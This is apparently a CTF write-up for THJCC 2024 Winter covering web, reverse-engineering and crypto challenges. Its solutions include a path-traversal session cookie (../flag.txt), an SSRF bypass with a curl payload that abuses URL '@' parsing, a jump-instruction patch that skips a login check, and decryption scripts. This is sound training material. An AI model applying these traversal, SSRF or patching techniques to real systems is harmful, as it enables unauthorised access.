THJCC 2024 Winter Writeup

挑戰 | 類別 | 點數 | 時間 |
---|---|---|---|
S-box | Crypto | 100 | December 15th, 4:53:51 PM |
You know I know the token | Reverse | 310 | December 15th, 2:27:13 PM |
locked unlocker | Reverse | 250 | December 15th, 1:46:00 PM |
BMI Calculator | Reverse | 110 | December 15th, 1:27:32 PM |
cr4ck the w0rd13 | Web | 480 | December 15th, 4:55:25 AM |
proxy revenge | Web | 300 | December 14th, 1:38:22 PM |
notepad+++ | Web | 100 | December 14th, 1:21:57 PM |
Welcome 0x2 | Welcome | 100 | December 14th, 1:13:08 PM |
Discord 0x2 | Welcome | 100 | December 14th, 1:04:21 PM |
Discord 0x2
/flag at Discord

Welcome 0x2
Ctrl+F in view-source:https://ctf.scint.org/

notepad+++
It's about the sessions.
@app.before_request
def auth():
if not request.cookies.get('session'):
res = make_response(redirect(url_for('root')))
g.session = hashlib.md5(str(time.time()).encode()).hexdigest()
res.set_cookie('session', g.session)
return res
g.session = request.cookies.get('session')
with open(f'./tmp/{g.session}', mode='a+', encoding='utf8') as f:
f.seek(0)
ctx = f.read()
If session not exists, generate one.
If exists, read from session data.
Change your session to ../flag.txt

proxy revenge
Target: Get http://secret.flag.thjcc.tw/
code:
const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');
const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
function CheckIfHttp(scheme) {
return scheme.startsWith('http://');
}
app.get('/fetch', (req, res) => {
const scheme = req.query.scheme;
const host = req.query.host;
const path = req.query.path;
if (!scheme || !host || !path) {
return res.status(400).send('Missing parameters');
}
const client = scheme.startsWith('https') ? https : http;
const fixedhost = host + '.cggc.chummy.tw'; // oops, I forgot to change it
if (CheckIfHttp(scheme)) {
return res.send('Sorry, Only accepts https'); // pls no http :(
}
const url = scheme + fixedhost + path;
console.log('[+] Fetching :', url);
client.get(url, (response) => {
let data = '';
response.on('data', (chunk) => {
data += chunk;
});
response.on('end', () => {
res.send(data);
});
}).on('error', (err) => {
console.error('Error: ', err.message);
res.status(500).send('Failed to fetch data from the URL');
});
});
app.listen(3000, '0.0.0.0', () => {
console.log('Server running on http://0.0.0.0:3000');
});
- Cant start with http://
- 'cggc.chummy.tw' will be added after the 'host' value
But, you can use something like
http://[email protected]/
which redirect to nicewhite.xyz
And
"http" + "://sec" + ".cggc.chummy.tw" + "@secret.flag.thjcc.tw:80/"
which becomes "http://[email protected]:80/"
So our payload is
yoni@yoni-A-Power-T200:~/ctf$ curl "http://cha-thjcc.scint.org:10068/fetch?scheme=http&host=://sec&[email protected]:80/"
THJCC{N0...K42E 5En5171v17Y 12 RE4LLY 1Mp0R74n7.}
yoni@yoni-A-Power-T200:~/ctf$
cr4ck the w0rd13
Ask LLM to decompile the js


["ArrowUp","ArrowUp","ArrowDown","ArrowDown","ArrowLeft","ArrowLeft","ArrowRight","ArrowRight","B","A","B","A"]

BMI Calculator
Open Ghidra

found strange values

found strange function and renamed it.

Ask LLM to decrypt
# Define the encrypted flag parts as byte arrays
flag_parts = [
0x581e51696960627e, # flag1
0x1942755f1a537519, # flag2
0x571553421d461e # flag3
]
# Function to decrypt a flag part
def decrypt_flag(part):
decrypted = ""
while part > 0:
byte = part & 0xff # Extract the lowest byte
decrypted += chr(byte ^ 0x2a) # XOR with 0x2a and convert to character
part >>= 8 # Shift to process the next byte
return decrypted[::-1] # Reverse the result (because bytes are proces>
# Decrypt all flag parts
decrypted_flag = ""
for part in flag_parts:
print("flag: " + decrypt_flag(part)[::-1])
locked unlocker
Find ways to rev .pycpycdc locked-unlocker.cpython-310.pyc
Fix some broken syntax && some patching
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long, long_to_bytes
from alive_progress import alive_bar
import os
import base64
def unlocker(flag):
def key_decryptor(ciphertext):
c = bytes_to_long(ciphertext)
d = 0x2477CEFD961FE9B45BF3FC942F011DF849F40A5D56CE69E93ADEC92F18C71F91E52CED416AE9B5AF5311290DAB85D852CA7D11C56853063B4371119AA1A585B79FC11720A3F750302BBDE4CD46433E22F7C5FD03B69E0B846834A0BFF50E7CBF46C59F24562F886130E591AACEEFF89A50AF45728FCAC6CD3690EF5F984190366E67C9F1725ED9EE014E3CA3C45106C6B5C4EDDD8DBE760F2428F3856BDEE99B909CC332C75719FC3ED22BC398E2AA65AF87BD31B0455D443D0285CC14C284FFE61967B1FA0657BB5957C2629FEC7F215C0BD37908436ED98B1B389D342C612F1E0DC9F67900365EBA07D462A2C3BB83F0296824CA4A5651D5E29FA5913F370D
n = 0x745486641242C2CF6333B47DE52D28072D1F97597179693FBEB519D43D08B6D51BA293AF81F06E8FE0B49410C108029985DC6429BE637DBDF49D835DE7B43B86810640F0C645284D9A52D1A632C5343FD241D3700D6127E43C1280D2CDB3E39CB588FA07EA9DC1A1CA3AEB883CD775DDF2FC734E941F22342D2EF6730E21D2D2D782DCD55EE186122EC7D0976354A995CB4CBD7922C197075E446959C259CAB2BE6AB7FA8AAF0CD972BFA212138DA1D7AF087B6C8F14811983F09762FA6D5E8A0B9240EE71CC9919F3407ED504F32BF028D3EB9B51B4A74B776D8759401016C204E5F49C19958C71C3E012A5523E644BE725D6C9DE420CDAA10820FD8FFE9845
m = pow(c, d, n)
plaintext = long_to_bytes(m)
return b'\x00' * (48 - len(plaintext)) + plaintext
print('Starting decryption...')
with alive_bar(256, title='Decrypting') as bar:
for i in range(256):
now_key = key_decryptor(flag[-256:])
flag = flag[:-256]
cipher = AES.new(now_key[:32], AES.MODE_CBC, now_key[32:48])
flag = cipher.decrypt(flag)
flag = unpad(flag, 16)
bar()
return flag
if 1:
print('Unlocking...')
flag = open('flag.png.locked', 'rb').read()
decrypted_flag = unlocker(flag)
with open('flag.png', 'wb') as f:
f.write(decrypted_flag)
else:
print('Invalid serial number. Access denied.')
You know I know the token
Open Ghidra

Change JNZ(Jump Not Zero)->JZ(Jumop Zero)
on


And recompile/export
yoni@yoni-A-Power-T200:~/ctf/u-know-i-know$ ./chal-patched
1) register
2) login
cmd: 1
username: Administrator
Here is your token: e7d3e769f3f593dadcb8634cc5b09fc90dd3a61c4a06a79cb0923662fe6fae6b
1) register
2) login
cmd: 2
username: Administrator
token(64): e7d3e769f3f593dadcb8634cc5b09fc90dd3a61c4a06a79cb0923662fe6fae6b
+------------------------------------+
Welcome, Administrator
Here is your flag: THJCC{Unm4sK1n6_7He_shA256_al9o}
+------------------------------------+
1) register
2) login
cmd:
S-box
Ask GPT :sad:
Sbox = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]
cipher_hex = "b16e45b3d1042f9ae36a0033edfc966e00202f7f6a04e3f5aa7fbec7fc23b17f6a04c75033d12727"
# 1. Hex to Bytes
cipher_bytes = bytes.fromhex(cipher_hex)
# 2. Inverse Sbox
inv_Sbox = [0] * 256
for i, val in enumerate(Sbox):
inv_Sbox[val] = i
# 3. Apply Inverse Sbox
decoded_bytes = bytes(inv_Sbox[b] for b in cipher_bytes)
# 4. Base64 Decode
import base64
flag = base64.b64decode(decoded_bytes)
print(flag.decode())